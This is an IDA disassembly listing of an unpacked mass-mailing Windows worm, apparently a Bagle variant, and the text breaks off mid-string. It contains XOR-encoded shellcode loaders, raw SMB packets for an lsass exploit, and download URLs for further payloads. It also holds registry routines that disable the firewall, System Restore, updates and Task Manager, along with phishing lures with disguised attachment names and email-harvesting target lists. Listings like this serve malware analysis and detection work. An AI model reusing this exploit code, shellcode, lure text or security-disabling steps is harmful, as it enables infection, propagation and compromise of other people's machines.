; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 53E80ECEEB448A5559761CAB0593088B ; File Name : u:\work\53e80eceeb448a5559761cab0593088b_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 4A0000 ; Section 1. (virtual address 00001000) ; Virtual size : 0000B000 ( 45056.) ; Section size in file : 0000B000 ( 45056.) ; Offset to raw data for section: 00001000 ; Flags C00000E0: Text Data Bss Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write MEW segment para public 'BSS' use32 assume cs:MEW ;org 4A1000h assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing dword_4A1000 dd 0 ; sub_4A8850+64r dword_4A1004 dd 0 ; sub_4A33FF+4Er ... dword_4A1008 dd 0 ; sub_4A33FF+6Cr ... dword_4A100C dd 0 ; sub_4A33FF+76r ... dd 0 dword_4A1014 dd 0 ; MEW:004ABC01o dword_4A1018 dd 0 dword_4A101C dd 0 ; sub_4A6B78+46r dword_4A1020 dd 0 dword_4A1024 dd 0 dword_4A1028 dd 0 dword_4A102C dd 0 dword_4A1030 dd 0 dword_4A1034 dd 0 ; sub_4A6249+98r ... dword_4A1038 dd 0 ; sub_4A5ABC+44r ... dword_4A103C dd 0 ; sub_4A5B18+255r dword_4A1040 dd 0 dword_4A1044 dd 0 dword_4A1048 dd 0 dword_4A104C dd 0 dword_4A1050 dd 0 dword_4A1054 dd 0 ; sub_4A6CB5+68r dword_4A1058 dd 0 ; sub_4A4BCC+C3r ... dword_4A105C dd 0 ; sub_4A4D6A+14Dr ... dword_4A1060 dd 0 ; sub_4A4379+F8r ... dword_4A1064 dd 0 ; sub_4A3FC4:loc_4A40F1r ... dword_4A1068 dd 0 ; sub_4A2FEA+15r ... dword_4A106C dd 0 ; sub_4A30CE+ABr ... dword_4A1070 dd 0 ; sub_4A3183+8Dr dword_4A1074 dd 0 ; sub_4A3183+63r dword_4A1078 dd 0 ; sub_4A3183+56r ... dword_4A107C dd 0 ; sub_4A3183+47r ... dword_4A1080 dd 0 ; sub_4A3183+40r ... dword_4A1084 dd 0 ; MEW:004A32F8r ... dword_4A1088 dd 0 ; MEW:004A32BBr ... dword_4A108C dd 0 dword_4A1090 dd 0 dword_4A1094 dd 0 dd 0 dword_4A109C dd 0 ; sub_4A6DD0+6F6r ... dword_4A10A0 dd 0 ; sub_4A4379+398r ... dword_4A10A4 dd 0 dword_4A10A8 dd 0 ; sub_4A42C0+4Cr ... dword_4A10AC dd 0 ; sub_4A3FC4+60r ... dword_4A10B0 dd 0 ; sub_4A79D3+E5r ... dword_4A10B4 dd 0 dword_4A10B8 dd 0 dword_4A10BC dd 0 ; sub_4A6DD0+6E6r ... dword_4A10C0 dd 0 dword_4A10C4 dd 0 dword_4A10C8 dd 0 dword_4A10CC dd 0 ; sub_4A6DD0+51r ... dword_4A10D0 dd 0 dword_4A10D4 dd 0 ; sub_4A5B18+6C0r dword_4A10D8 dd 0 ; MEW:004A5A94r dword_4A10DC dd 0 dword_4A10E0 dd 0 dword_4A10E4 dd 0 dword_4A10E8 dd 0 dword_4A10EC dd 0 ; sub_4A488F+CBr ... dword_4A10F0 dd 0 ; sub_4A5012+154r dword_4A10F4 dd 0 ; sub_4A488F+1F7r ... dword_4A10F8 dd 0 ; sub_4A5012+20Er dword_4A10FC dd 0 ; sub_4A479A+C6r dword_4A1100 dd 0 ; sub_4A4379+3D9r ... dword_4A1104 dd 0 dword_4A1108 dd 0 dword_4A110C dd 0 dword_4A1110 dd 0 ; sub_4A3DFF+2Cr ... dword_4A1114 dd 0 ; sub_4A3FC4+1D4r ... dword_4A1118 dd 0 align 10h dword_4A1120 dd 0 ; sub_4A3081+43r align 8 dword_4A1128 dd 0 dword_4A112C dd 0 ; sub_4A3320+56r ... dd 0 dword_4A1134 dd 0 ; sub_4A3FC4+12r ... dd 0 dword_4A113C dd 0 ; sub_4A56AB+5Dr ... dword_4A1140 dd 0 ; sub_4A88E0r dword_4A1144 dd 0 ; sub_4A6A0A+A2r ... dword_4A1148 dd 0 ; sub_4A6DD0+3Fr ... dword_4A114C dd 0 ; sub_4A6B1A+2Er ... dword_4A1150 dd 0 ; sub_4A7662+36r ... dword_4A1154 dd 0 ; sub_4A5B18+23Br dword_4A1158 dd 0 ; sub_4A5B18+353r ... dword_4A115C dd 0 ; sub_4A5B18+2DCr ... dword_4A1160 dd 0 ; sub_4A6DD0+A6r ... dword_4A1164 dd 0 ; sub_4A88D4r dword_4A1168 dd 0 ; sub_4A6A0A+EBr ... dword_4A116C dd 0 ; sub_4A5B18+26Er ... dword_4A1170 dd 0 dword_4A1174 dd 0 dword_4A1178 dd 0 ; sub_4A7865+13Fr dword_4A117C dd 0 dword_4A1180 dd 0 dword_4A1184 dd 0 ; sub_4A76E8+BAr dword_4A1188 dd 0 ; sub_4A8423+93r ... dword_4A118C dd 0 ; sub_4A8423+42r dword_4A1190 dd 0 ; sub_4A5B18+6AAr ... dword_4A1194 dd 0 dd 0 dword_4A119C dd 0 dd 0 dword_4A11A4 dd 0 align 10h off_4A11B0 dd offset a@symantec ; DATA XREF: sub_4A42C0+19r ; sub_4A42C0+26r ; "@symantec" dd offset a@microsoft ; "@microsoft" dd offset a@avp ; "@avp" dd offset a@panda ; "@panda" dd offset a@fsecure ; "@fsecure" dd offset a@norton ; "@norton" dd offset a@virusli ; "@virusli" dd offset a@norman ; "@norman" dd offset a@sopho ; "@sopho" dd offset a@noreply ; "@noreply" dd offset a@mm ; "@mm" dd offset a@trendmicro ; "@trendmicro" dd offset a@mcafee ; "@mcafee" dd offset aWinzip ; "winzip" dd offset aWinrar ; "winrar" dd offset aIcrosoft ; "icrosoft" dd offset aFSecur ; "f-secur" dd offset aPanda ; "panda" dd offset a_gov ; ".gov" dd offset aIcrosof ; "icrosof" dd 0 dd offset asc_4A208C ; "\n\n\n" dd 7Fh off_4A120C dd offset aHi ; DATA XREF: sub_4A65D5+5Er ; "Hi" dd offset aHello ; "Hello" dd offset aInfo ; "info" dd offset aPassword ; "Password" dd offset aWarningYourAcc ; "**WARNING** Your Account Currently Disa"... dd offset aImportnatInfor ; "Importnat Information" dd offset aMailDeliverySy ; "Mail Delivery System" dd offset aEmail ; "Email" dd offset aError ; "Error" dd offset aBug ; "Bug" dd offset aMessageCouldNo ; "Message could not be delivered" dd offset aHelloIWasInAHu ; DATA XREF: sub_4A65D5+8Er ; "Hello,\nI was in a hurry and I forgot to"... dd offset aCheckoutTheAtt ; "checkout the attachment.\n" dd offset aYourPasswordHa ; "Your password has been updated checkout"... dd offset aYourAccountSus ; "Your Account Suspended checkout the doc"... dd offset aImportantNotif ; "Important Notification checkout the att"... dd offset aYouHaveSuccess ; "You have successfully updated the passw"... dd offset aWeHaveTemporar ; "We have temporarily suspended your emai"... dd offset aTheOriginalMes ; "The original message was included as an"... dd offset aHereAreYourBan ; "Here are your banks documents \n" dd offset aTheMessageCont ; "The message contains Unicode characters"... dd offset aBinaryMessageI ; "Binary message is available.\n" dd offset aYourCreditCard ; "Your credit card was charged for $500 U"... dd offset aOrder_exe ; DATA XREF: sub_4A65D5+BEr ; "order.exe" dd offset aOrder_cpl ; "order.cpl" dd offset aDocument_exe ; "document.exe" dd offset aDoc_pif ; "doc.pif" dd offset aDocument_cpl ; "document.cpl" dd offset aData_bat ; "data.bat" dd offset aFile_cpl ; "file.cpl" dd offset aData_scr ; "data.scr" dd offset aReadme_scr ; "readme.scr" dd offset aRead_exe ; "read.exe" dd offset aReadme_cpl ; "readme.cpl" dd offset aRead_cpl ; "read.cpl" dd offset aDocs_scr ; "docs.scr" dd offset aAdmin_bat ; "admin.bat" dd offset aDocs_cpl ; "docs.cpl" dd offset aInbox_exe ; "inbox.exe" dd offset aBox_scr ; "box.scr" dd offset aInbox_cpl ; "inbox.cpl" dd offset aBox_bat ; "box.bat" dd offset aArchive_exe ; "archive.exe" dd offset aAbout_scr ; "about.scr" dd offset aArchive_cpl ; "archive.cpl" dd offset aAbout_cpl ; "about.cpl" dd offset aHelp_doc ; "help.doc "... dd offset aAbout_doc ; "about.doc "... dd offset aPayment_doc ; "payment.doc "... dd offset aAccountReport_ ; "account-report.exe" off_4A12D4 dd offset aSupport ; DATA XREF: sub_4A65D5+EEr ; "support" dd offset aAdmin ; "admin" dd offset aAlex ; "alex" dd offset aDavid ; "david" dd offset aBob ; "bob" dd offset aDan ; "dan" dd offset aBrent ; "brent" dd offset aBrenda ; "brenda" dd offset aFred ; "fred" dd offset aTed ; "ted" dd offset aTom ; "tom" dd offset aLeo ; "leo" dd offset aLinda ; "linda" dd offset aPaul ; "paul" dd offset aRay ; "ray" dd offset aMike ; "mike" dd offset aMary ; "mary" dd offset aJohn ; "john" dd offset aJon ; "jon" dd offset aJoe ; "joe" dd offset aJosh ; "josh" dd offset aJerry ; "jerry" dd offset aJack ; "jack" dd offset aJane ; "jane" dd offset aMatt ; "matt" dd offset aRobert ; "robert" dd offset aHelen ; "helen" dd offset aMichael ; "michael" dd offset aRoot ; "root" dd offset aSteve ; "steve" dd offset aSales ; "sales" dd offset aAlerts ; "alerts" dd offset aAdam ; "adam" dd offset a@symantec_com ; DATA XREF: sub_4A65D5+11Er ; "@symantec.com" dd offset a@msn_com ; "@msn.com" dd offset a@microsoft_com ; "@microsoft.com" dd offset a@yahoo_com ; "@yahoo.com" dd offset a@hotmail_com ; "@hotmail.com" dd offset a@google_com ; "@google.com" dd offset a@antivirus_com ; "@antivirus.com" dd offset a@arcor_com ; "@arcor.com" dd offset a@mcafee_com ; "@mcafee.com" dd offset a@ca_com ; "@ca.com" dd offset a@aol_com ; "@aol.com" dd offset a@matrix_com ; "@matrix.com" dd offset a@support_com ; "@support.com" dd offset a@trendmicro_co ; "@trendmicro.com" dd offset a@gmail_com ; "@gmail.com" dd offset a@google_com ; "@google.com" dd offset a@nai_com ; "@nai.com" align 10h jmp short loc_4A13B2 ; =============== S U B R O U T I N E ======================================= sub_4A13A2 proc far ; CODE XREF: sub_4A13A2:loc_4A13B2p pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_4A13AA: ; CODE XREF: sub_4A13A2+Cj xor byte ptr [ebx+ecx], 99h loop loc_4A13AA jmp short loc_4A13B7 ; --------------------------------------------------------------------------- loc_4A13B2: ; CODE XREF: MEW:004A13A0j call near ptr sub_4A13A2 loc_4A13B7: ; CODE XREF: sub_4A13A2+Ej jo short loc_4A141B cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_4A1439 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_4A141B: ; CODE XREF: sub_4A13A2:loc_4A13B7j mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_4A1439: ; CODE XREF: sub_4A13A2+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_4A13A2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_4A14E0: ; DATA XREF: sub_4A7C89+185o jmp short loc_4A14F2 ; =============== S U B R O U T I N E ======================================= sub_4A14E2 proc near ; CODE XREF: sub_4A14E2:loc_4A14F2p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_4A14EA: ; CODE XREF: sub_4A14E2+Cj xor byte ptr [edx+ecx], 99h loop loc_4A14EA jmp short loc_4A14F7 ; --------------------------------------------------------------------------- loc_4A14F2: ; CODE XREF: MEW:loc_4A14E0j call sub_4A14E2 loc_4A14F7: ; CODE XREF: sub_4A14E2+Ej jo short near ptr dword_4A1470+1Eh cwde cdq cdq retn sub_4A14E2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_4A1590 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_4A7C89+178o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_4A1678 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_4A8232+91o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4A1704 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4A8232+CEo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_4A17B0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4A8232+10Bo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4A1890 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4A7C89+95o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_4A7C89+CDo unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_4A18F4 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4A7C89+3B6o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_4A1960 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4A7C89+3F6o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4A1A04 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4A7C89+51Eo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_4A1A84 dd 401495h, 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_4A1B18 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4A7C89+43Bo dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4A1B84 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4A7C89+46Co dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_4A1BF8 dd 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 2 dup(0) word_4A1C80 dw 0A81h ; DATA XREF: sub_4A7C89+150r align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4A1CC0 dd 1004600h ; sub_4A7C89+214o ... dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 11h dup(0) aHttpJ0r_bizUpd db 'http://j0r.biz/update3.exe',0 ; DATA XREF: sub_4A2FA0+3Ao align 4 aUpdate3_exe db '\update3.exe',0 ; DATA XREF: sub_4A2FA0+1Bo ; sub_4A2FEA+1Bo align 4 aOpen db 'open',0 ; DATA XREF: sub_4A2FEA+3Co ; sub_4A3081+3Co align 4 aHttpJ0r_bizPro db 'http://j0r.biz/proto.com',0 ; DATA XREF: sub_4A3037+3Ao align 10h aBxt_com db '\bxt.com',0 ; DATA XREF: sub_4A3037+1Bo ; sub_4A3081+1Bo align 4 aWindows_exe db '\windows.exe',0 ; DATA XREF: sub_4A30CE+69o ; sub_4A3320+20o ... align 4 aAttach_tmp db '\attach.tmp',0 ; DATA XREF: sub_4A3183+69o ; sub_4A65D5+1Fo aBreatleAntivir db 'Breatle AntiVirus v1.0',0 ; DATA XREF: MEW:004A323Bo align 10h aWin db 'WIN',0 ; DATA XREF: sub_4A3320+4Ao ; sub_4A3DFF+4Ao aSoftwareMicr_2 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0 ; DATA XREF: sub_4A3320+35o ; sub_4A8850+11o align 4 aDisablesr db 'DisableSR',0 ; DATA XREF: sub_4A33FF+25o ; sub_4A347F+25o align 4 aSoftwareMicros db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore',0 ; DATA XREF: sub_4A33FF+10o ; sub_4A347F+10o align 4 aEnablefirewall db 'EnableFirewall',0 ; DATA XREF: sub_4A34FF+25o ; sub_4A357F+25o ... align 4 aSoftwarePolici db 'SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile',0 ; DATA XREF: sub_4A34FF+10o ; sub_4A357F+10o align 10h aSoftwarePoli_0 db 'SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile',0 ; DATA XREF: sub_4A35FF+10o ; sub_4A367F+10o aNoautoupdate db 'NoAutoUpdate',0 ; DATA XREF: sub_4A36FF+25o ; sub_4A377F+25o align 4 aSoftwarePoli_1 db 'Software\Policies\Microsoft\Windows\WindowsUpdate\AU',0 ; DATA XREF: sub_4A36FF+10o ; sub_4A377F+10o ... align 4 aAuoptions db 'AUOptions',0 ; DATA XREF: sub_4A37FF+25o ; sub_4A387F+25o align 10h aFirewalldisabl db 'FirewallDisableNotify',0 ; DATA XREF: sub_4A38FF+25o ; sub_4A397F+25o align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Security Center',0 ; DATA XREF: sub_4A38FF+10o ; sub_4A397F+10o ... align 4 aUpdatesdisable db 'UpdatesDisableNotify',0 ; DATA XREF: sub_4A39FF+25o ; sub_4A3A7F+25o align 4 aAntivirusdisab db 'AntiVirusDisableNotify',0 ; DATA XREF: MEW:004A3B24o ; sub_4A3B7F+25o align 4 aDisabletaskmgr db 'DisableTaskMgr',0 ; DATA XREF: sub_4A3BFF+25o ; sub_4A3C7F+25o align 4 aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\Policies\System',0 ; DATA XREF: sub_4A3BFF+10o ; sub_4A3C7F+10o ... align 4 aDisableregistr db 'DisableRegistryTools',0 ; DATA XREF: sub_4A3CFF+25o ; sub_4A3D7F+25o align 10h aSoftwareMicr_3 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_4A3DFF+35o ; sub_4A8850+48o align 10h a86400 db '86400',0 ; DATA XREF: sub_4A3FC4+57o align 4 aWww_symantec_c db 'www.symantec.com',0 ; DATA XREF: sub_4A3FC4+42o align 4 asc_4A208C db 0Ah ; DATA XREF: MEW:004A1204o db 0Ah db 0Ah,0 aIcrosof db 'icrosof',0 ; DATA XREF: MEW:004A11FCo a_gov db '.gov',0 ; DATA XREF: MEW:004A11F8o align 10h aPanda db 'panda',0 ; DATA XREF: MEW:004A11F4o align 4 aFSecur db 'f-secur',0 ; DATA XREF: MEW:004A11F0o aIcrosoft db 'icrosoft',0 ; DATA XREF: MEW:004A11ECo align 4 aWinrar db 'winrar',0 ; DATA XREF: MEW:004A11E8o align 4 aWinzip db 'winzip',0 ; DATA XREF: MEW:004A11E4o align 4 a@mcafee db '@mcafee',0 ; DATA XREF: MEW:004A11E0o a@trendmicro db '@trendmicro',0 ; DATA XREF: MEW:004A11DCo a@mm db '@mm',0 ; DATA XREF: MEW:004A11D8o a@noreply db '@noreply',0 ; DATA XREF: MEW:004A11D4o align 10h a@sopho db '@sopho',0 ; DATA XREF: MEW:004A11D0o align 4 a@norman db '@norman',0 ; DATA XREF: MEW:004A11CCo a@virusli db '@virusli',0 ; DATA XREF: MEW:004A11C8o align 4 a@norton db '@norton',0 ; DATA XREF: MEW:004A11C4o a@fsecure db '@fsecure',0 ; DATA XREF: MEW:004A11C0o align 10h a@panda db '@panda',0 ; DATA XREF: MEW:004A11BCo align 4 a@avp db '@avp',0 ; DATA XREF: MEW:004A11B8o align 10h a@microsoft db '@microsoft',0 ; DATA XREF: MEW:004A11B4o align 4 a@symantec db '@symantec',0 ; DATA XREF: MEW:off_4A11B0o align 4 a__0: ; DATA XREF: sub_4A42C0:loc_4A4303o ; sub_4A79D3+ADo ... unicode 0, <.>,0 aS_1 db '%s',0Ah,0 ; DATA XREF: sub_4A4379+3F5o aA_0: ; DATA XREF: sub_4A4379+3CDo unicode 0, <a>,0 aR: ; DATA XREF: sub_4A4379+30Co unicode 0, <r>,0 aXzy6_tmp db '\xzy6.tmp',0 ; DATA XREF: sub_4A4379+2F7o ; sub_4A4379+3B8o ... align 4 aRb db 'rb',0 ; DATA XREF: sub_4A488F+21o ; sub_4A488F+95o ... align 4 aAsp db 'asp',0 ; DATA XREF: sub_4A4BCC:loc_4A4D19o aTxt db 'txt',0 ; DATA XREF: sub_4A4BCC:loc_4A4D01o aAdb db 'adb',0 ; DATA XREF: sub_4A4BCC:loc_4A4CE9o aTbb db 'tbb',0 ; DATA XREF: sub_4A4BCC:loc_4A4CD1o aDbx db 'dbx',0 ; DATA XREF: sub_4A4BCC:loc_4A4CB9o aHtml db 'html',0 ; DATA XREF: sub_4A4BCC:loc_4A4C9Eo align 4 aWab db 'wab',0 ; DATA XREF: sub_4A4BCC:loc_4A4C83o aHtm db 'htm',0 ; DATA XREF: sub_4A4BCC+9Co a_ db '*.*',0 ; DATA XREF: sub_4A4D6A:loc_4A4DE0o asc_4A2190: ; DATA XREF: sub_4A4D6A+62o ; sub_4A4D6A+16Fo unicode 0, <\>,0 asc_4A2194 db ':\',0 ; DATA XREF: sub_4A4F60+28o align 4 a@nai_com db '@nai.com',0 ; DATA XREF: MEW:004A1398o align 4 a@gmail_com db '@gmail.com',0 ; DATA XREF: MEW:004A1390o align 10h a@trendmicro_co db '@trendmicro.com',0 ; DATA XREF: MEW:004A138Co a@support_com db '@support.com',0 ; DATA XREF: MEW:004A1388o align 10h a@matrix_com db '@matrix.com',0 ; DATA XREF: MEW:004A1384o a@aol_com db '@aol.com',0 ; DATA XREF: MEW:004A1380o align 4 a@ca_com db '@ca.com',0 ; DATA XREF: MEW:004A137Co a@mcafee_com db '@mcafee.com',0 ; DATA XREF: MEW:004A1378o a@arcor_com db '@arcor.com',0 ; DATA XREF: MEW:004A1374o align 4 a@antivirus_com db '@antivirus.com',0 ; DATA XREF: MEW:004A1370o align 4 a@google_com db '@google.com',0 ; DATA XREF: MEW:004A136Co ; MEW:004A1394o a@hotmail_com db '@hotmail.com',0 ; DATA XREF: MEW:004A1368o align 4 a@yahoo_com db '@yahoo.com',0 ; DATA XREF: MEW:004A1364o align 10h a@microsoft_com db '@microsoft.com',0 ; DATA XREF: MEW:004A1360o align 10h a@msn_com db '@msn.com',0 ; DATA XREF: MEW:004A135Co align 4 a@symantec_com db '@symantec.com',0 ; DATA XREF: MEW:004A1358o align 4 aAdam db 'adam',0 ; DATA XREF: MEW:004A1354o align 4 aAlerts db 'alerts',0 ; DATA XREF: MEW:004A1350o align 4 aSales db 'sales',0 ; DATA XREF: MEW:004A134Co align 4 aSteve db 'steve',0 ; DATA XREF: MEW:004A1348o align 4 aRoot db 'root',0 ; DATA XREF: MEW:004A1344o align 4 aMichael db 'michael',0 ; DATA XREF: MEW:004A1340o aHelen db 'helen',0 ; DATA XREF: MEW:004A133Co align 4 aRobert db 'robert',0 ; DATA XREF: MEW:004A1338o align 4 aMatt db 'matt',0 ; DATA XREF: MEW:004A1334o align 4 aJane db 'jane',0 ; DATA XREF: MEW:004A1330o align 4 aJack db 